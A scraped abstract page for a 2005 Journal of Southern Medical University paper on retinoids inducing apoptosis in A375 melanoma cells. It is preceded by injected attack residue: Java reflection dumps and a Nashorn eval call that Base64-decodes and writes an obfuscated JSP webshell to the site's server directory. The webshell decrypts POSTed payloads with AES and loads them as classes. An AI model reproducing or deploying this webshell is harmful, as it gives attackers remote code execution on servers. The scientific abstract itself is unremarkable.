public javax.script.ScriptEngineManager() public javax.script.ScriptEngineManager(java.lang.ClassLoader) public javax.script.ScriptEngineManager() javax.script.ScriptEngineManager@44eb5bdd jdk.nashorn.api.scripting.NashornScriptEngine@6b81dee4 [Ljava.lang.reflect.Method;@1c26a009 public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.lang.String) throws javax.script.ScriptException public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.io.Reader) throws javax.script.ScriptException public javax.script.ScriptEngineFactory jdk.nashorn.api.scripting.NashornScriptEngine.getFactory() public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.lang.String,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.io.Reader,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Object,java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeMethod(java.lang.Object,java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeFunction(java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public javax.script.Bindings jdk.nashorn.api.scripting.NashornScriptEngine.createBindings() public java.lang.Object javax.script.AbstractScriptEngine.get(java.lang.String) public void javax.script.AbstractScriptEngine.put(java.lang.String,java.lang.Object) public javax.script.ScriptContext javax.script.AbstractScriptEngine.getContext() public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String,javax.script.Bindings) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader,javax.script.Bindings) throws javax.script.ScriptException public void javax.script.AbstractScriptEngine.setContext(javax.script.ScriptContext) public javax.script.Bindings javax.script.AbstractScriptEngine.getBindings(int) public void javax.script.AbstractScriptEngine.setBindings(javax.script.Bindings,int) public final void java.lang.Object.wait() throws java.lang.InterruptedException public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException public boolean java.lang.Object.equals(java.lang.Object) public java.lang.String java.lang.Object.toString() public native int java.lang.Object.hashCode() public final native java.lang.Class java.lang.Object.getClass() public final native void java.lang.Object.notify() public final native void java.lang.Object.notifyAll() $f.eval("var B=Java.type('java.util.Base64');var F=Java.type('java.io.FileOutputStream');var d=B.getDecoder().decode('PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmEuaW8uKixqYXZheC5jcnlwdG8uKixqYXZheC5jcnlwdG8uc3BlYy4qIiAlPgo8JSEKICAgIHByaXZcdTAwNjF0ZSBieXRlW10gRGVjcnlwdChieXRlW10gZFx1MDA2MXRcdTAwNjEpIHRocm93cyBFeGNlcHRpb24KICAgIHsKICAgICAgICBTdHJpbmcgaz0iMGJcdTAwNjE0NDM5ZWU5XHUwMDYxNDZkOWQiOwogICAgICAgIGpcdTAwNjF2XHUwMDYxeC5jcnlwdG8uQ2lwaGVyIGM9alx1MDA2MXZcdTAwNjF4LmNyeXB0by5DaXBoZXIuZ2V0SW5zdFx1MDA2MW5jZSgiQUVTL0VDQi9QS0NTNVBcdTAwNjFkZGluZyIpO2MuaW5pdCgyLG5ldyBqXHUwMDYxdlx1MDA2MXguY3J5cHRvLnNwZWMuU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTsKICAgICAgICBieXRlW10gZGVjb2RlYnM7CiAgICAgICAgQ2xcdTAwNjFzcyBiQ2x6IDsKICAgICAgICAgICAgICAgIHRyeXsKICAgICAgICAgICAgICAgICAgICBiQ2x6PUNsXHUwMDYxc3MuZm9yTlx1MDA2MW1lKCJqXHUwMDYxdlx1MDA2MS51dGlsLkJcdTAwNjFzZTY0Iik7CiAgICAgICAgICAgICAgICAgICAgT2JqZWN0IERlY29kZXI9YkNsei5nZXRNZXRob2QoImdldERlY29kZXIiLCBudWxsKS5pbnZva2UoYkNseiwgbnVsbCk7CiAgICAgICAgICAgICAgICAgICAgZGVjb2RlYnM9KGJ5dGVbXSkgRGVjb2Rlci5nZXRDbFx1MDA2MXNzKCkuZ2V0TWV0aG9kKCJkZWNvZGUiLCBuZXcgQ2xcdTAwNjFzc1tde2J5dGVbXS5jbFx1MDA2MXNzfSkuaW52b2tlKERlY29kZXIsIG5ldyBPYmplY3RbXXtkXHUwMDYxdFx1MDA2MX0pOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgY1x1MDA2MXRjaCAoVGhyb3dcdTAwNjFibGUgZSkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBiQ2x6ID0gQ2xcdTAwNjFzcy5mb3JOXHUwMDYxbWUoInN1bi5taXNjLkJBU0U2NERlY29kZXIiKTsKICAgICAgICAgICAgICAgICAgICBPYmplY3QgRGVjb2Rlcj1iQ2x6Lm5ld0luc3RcdTAwNjFuY2UoKTsKICAgICAgICAgICAgICAgICAgICBkZWNvZGVicz0oYnl0ZVtdKSBEZWNvZGVyLmdldENsXHUwMDYxc3MoKS5nZXRNZXRob2QoImRlY29kZUJ1ZmZlciIsbmV3IENsXHUwMDYxc3NbXXtTdHJpbmcuY2xcdTAwNjFzc30pLmludm9rZShEZWNvZGVyLCBuZXcgT2JqZWN0W117bmV3IFN0cmluZyhkXHUwMDYxdFx1MDA2MSl9KTsKCiAgICAgICAgICAgICAgICB9CiAgICAgICAgcmV0dXJuIGMuZG9GaW5cdTAwNjFsKGRlY29kZWJzKTsKCiAgICB9CiU+CjwlIWNsXHUwMDYxc3MgVSBleHRlbmRzIENsXHUwMDYxc3NMb1x1MDA2MWRlcntVKENsXHUwMDYxc3NMb1x1MDA2MWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsXHUwMDYxc3MgZyhieXRlIFtdYil7cmV0dXJuCiAgICAgICAgc3VwZXIuZGVmaW5lQ2xcdTAwNjFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdVx1MDA2MWxzKCJQT1NUIikpewogICAgICAgICAgICBCeXRlQXJyXHUwMDYxeU91dHB1dFN0cmVcdTAwNjFtIGJvcyA9IG5ldyBCeXRlQXJyXHUwMDYxeU91dHB1dFN0cmVcdTAwNjFtKCk7CiAgICAgICAgICAgIGJ5dGVbXSBidWYgPSBuZXcgYnl0ZVs1MTJdOwogICAgICAgICAgICBpbnQgbGVuZ3RoPXJlcXVlc3QuZ2V0SW5wdXRTdHJlXHUwMDYxbSgpLnJlXHUwMDYxZChidWYpOwogICAgICAgICAgICB3aGlsZSAobGVuZ3RoPjApCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGJ5dGVbXSBkXHUwMDYxdFx1MDA2MT0gQXJyXHUwMDYxeXMuY29weU9mUlx1MDA2MW5nZShidWYsMCxsZW5ndGgpOwogICAgICAgICAgICAgICAgYm9zLndyaXRlKGRcdTAwNjF0XHUwMDYxKTsKICAgICAgICAgICAgICAgIGxlbmd0aD1yZXF1ZXN0LmdldElucHV0U3RyZVx1MDA2MW0oKS5yZVx1MDA2MWQoYnVmKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBvdXQuY2xlXHUwMDYxcigpOwogICAgICAgICAgICBvdXQ9cFx1MDA2MWdlQ29udGV4dC5wdXNoQm9keSgpOwogICAgICAgIG5ldyBVKHRoaXMuZ2V0Q2xcdTAwNjFzcygpLmdldENsXHUwMDYxc3NMb1x1MDA2MWRlcigpKS5nKERlY3J5cHQoYm9zLnRvQnl0ZUFyclx1MDA2MXkoKSkpLm5ld0luc3RcdTAwNjFuY2UoKS5lcXVcdTAwNjFscyhwXHUwMDYxZ2VDb250ZXh0KTt9CiU+');var o=new F('D:/magtech/webs/Jwk34_nfykdxxb/attached/test.jsp');o.write(d);o.close();");

Journal of Southern Medical University ›› 2005, Vol. 25 ›› Issue (08): 972-974,978.

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Effects of all-trans-retinoic acid, acitretin and tazarotene on apoptosis and Bax/Bcl-2 expressions of human melanoma cells A375 and the significance

RAN Li-wei, TAN Sheng-shun, WANG Wan-juan, QIU Shi, LEI Xiao-bing, ZENG Wei-hui   

  1. 西安交通大学第二医院皮肤科, 陕西, 西安, 710004
  • Online:2005-08-20 Published:2005-08-20

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Abstract: Objective To investigate the effects of all-trans retinoic acid (ATRA), acitretin and tazarotene on apoptosis and Bax/Bcl-2 protein expressions of human melanoma A375 cells. Methods The effects of retinoids on apoptosis and Bax/Bcl-2 protein expressions of A375 cells in vitro were examined. Apoptosis analysis with double staining with annexin V-FITC and PI was performed using flow cytometer. SABC immunocytochemistry was employed for detection of Bax/Bcl-2 protein expressions. Results At the concentration of 1×10-5 mol/L, ATRA, acitretin and tazarotene all induced apoptosis of A375 cells with apoptosis ratio of 5.03% (P<0.05), 13.42% (P<0.05) and 2.88% (P>0.05), respectively, and acitretin induced more significant apoptosis than the other two agents (P<0.05). In addition, all the three agents significantly increased the number of cells positive for Bax expression and decreased the number of cells expressing Bcl-2 (P<0.05), among which acitretin had the strongest effects. Conclusions ATRA, acitretin and tazarotene mediate apoptosis of A375 cells possibly through, at least partially, the mitochondrial pathway. Acitretin may be utilized as a valuable alternative for treating melanoma.

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